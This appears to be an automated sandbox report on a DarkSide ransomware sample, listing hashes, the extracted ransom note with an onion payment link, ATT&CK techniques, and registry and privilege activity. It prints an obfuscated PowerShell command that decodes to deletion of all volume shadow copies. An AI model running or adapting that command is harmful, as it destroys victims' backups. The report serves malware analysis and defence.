darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27/01/2024, 19:37

240127-yb5pksafd3 10

27/01/2024, 19:36

240127-ybqwesafc2 10

12/05/2021, 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
92s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2024, 19:37

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Report Analysis Logs

General

Target

6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Size

59KB
MD5

5ff75d33080bb97a8e6b54875c221777
SHA1

810d6c70a96584486867cedde111a1087ed1ebe7
SHA256

6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff
SHA512

a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00
SSDEEP

768:9jjV7Iax7F3DS4/S9QCuUSbVtdNcxGV1ylMRY23W5:vx7Fu4/irrUDTV1ylMqZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.5ded7e5f.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W When you open our website, put the following data in the input form: Key: aB8lE86K6bt2yphn16ULYEWUkQgiDkVDBHvQuveSHbkkccXcFdx82fYYL2wEuCLtUlSIpghfBnR1iHFog7qrxDKEfU1MQE8uiUe0CjmMqYp429q5QWYrTRUEJV1UevaixL9cMAeVhTiFRe0PHhthK2V8MfjrySgetDXg40JSiHOZHOstlUnOpJpS6CGn9r9P96kf7j5EFu5dIymVAOfFOxkPx8iG9JDaEHm3hEkCGnII4XNwLbykXoVctE8r6OzBrnKNcLvkQTDMwFQh29kecXcnNniHRXVYNDy2SY49GY58TBuNA6MtaqHht98G9qRjFNAYKdEDX5G6IimaqgNF3QCsOiDko91l70T6rcrVpWNrSdGw4p9tnOyIXUfrUVZFeYManOWT8aqu0qTi2C69L8w1RzezAczWJiwIrt3zfkTLqHKotNih0ebqTia8uUcsHbn6u0z2v3LFDyasrZdNvlKq1rmZmljdEDt0jakl9ygQwOEnd8T7gyygbMUwiF7Nhj8UlGP9o1h2L94qObqhQZGKJFH8DuPbQnf9OczD9cyX0uJTJT5iuiu !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (167) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5ded7e5f.BMP"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5ded7e5f.BMP"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\WallpaperStyle = "10"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5ded7e5f.ico"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.5ded7e5f	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.5ded7e5f\ = "5ded7e5f"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f\DefaultIcon	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe
2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSecurityPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeTakeOwnershipPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeLoadDriverPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemProfilePrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemtimePrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeProfSingleProcessPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeIncBasePriorityPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeCreatePagefilePrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeBackupPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeRestorePrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeShutdownPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeDebugPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemEnvironmentPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeRemoteShutdownPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeUndockPrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeManageVolumePrivilege	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 33	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 34	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 35	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 36	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeBackupPrivilege	3764	vssvc.exe
Token: SeRestorePrivilege	3764	vssvc.exe
Token: SeAuditPrivilege	3764	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 5092	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	41
PID 2452 wrote to memory of 5092	2452	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	41

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
"C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5092

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uuwfpkt.u5t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.5ded7e5f.TXT

Filesize
1KB

MD5
29adbb559c7cf5a71f3217726f04577f

SHA1
4efb812b9e9f341b4272d4beb6c716e79be5fd91

SHA256
725a61a2c9301d08ef5510f12410d1ab34b3fa474194b1c45be06d4443248dcd

SHA512
1d807ddbf3b93954911b4b9489280ac138d2aa9717339d051d5f117cbc35e59b1ef6aa2daab7bbec6867a95168668d659709fc50e92c5cb8a6db20912c8120d4

Download Submit
memory/5092-3-0x0000014BAB820000-0x0000014BAB842000-memory.dmp

Filesize
136KB

Download
memory/5092-15-0x0000014BAB850000-0x0000014BAB860000-memory.dmp

Filesize
64KB

Download
memory/5092-14-0x0000014BAB850000-0x0000014BAB860000-memory.dmp

Filesize
64KB

Download
memory/5092-16-0x0000014BAB850000-0x0000014BAB860000-memory.dmp

Filesize
64KB

Download
memory/5092-13-0x00007FF85F2F0000-0x00007FF85FDB1000-memory.dmp

Filesize
10.8MB

Download
memory/5092-19-0x00007FF85F2F0000-0x00007FF85FDB1000-memory.dmp

Filesize
10.8MB

Download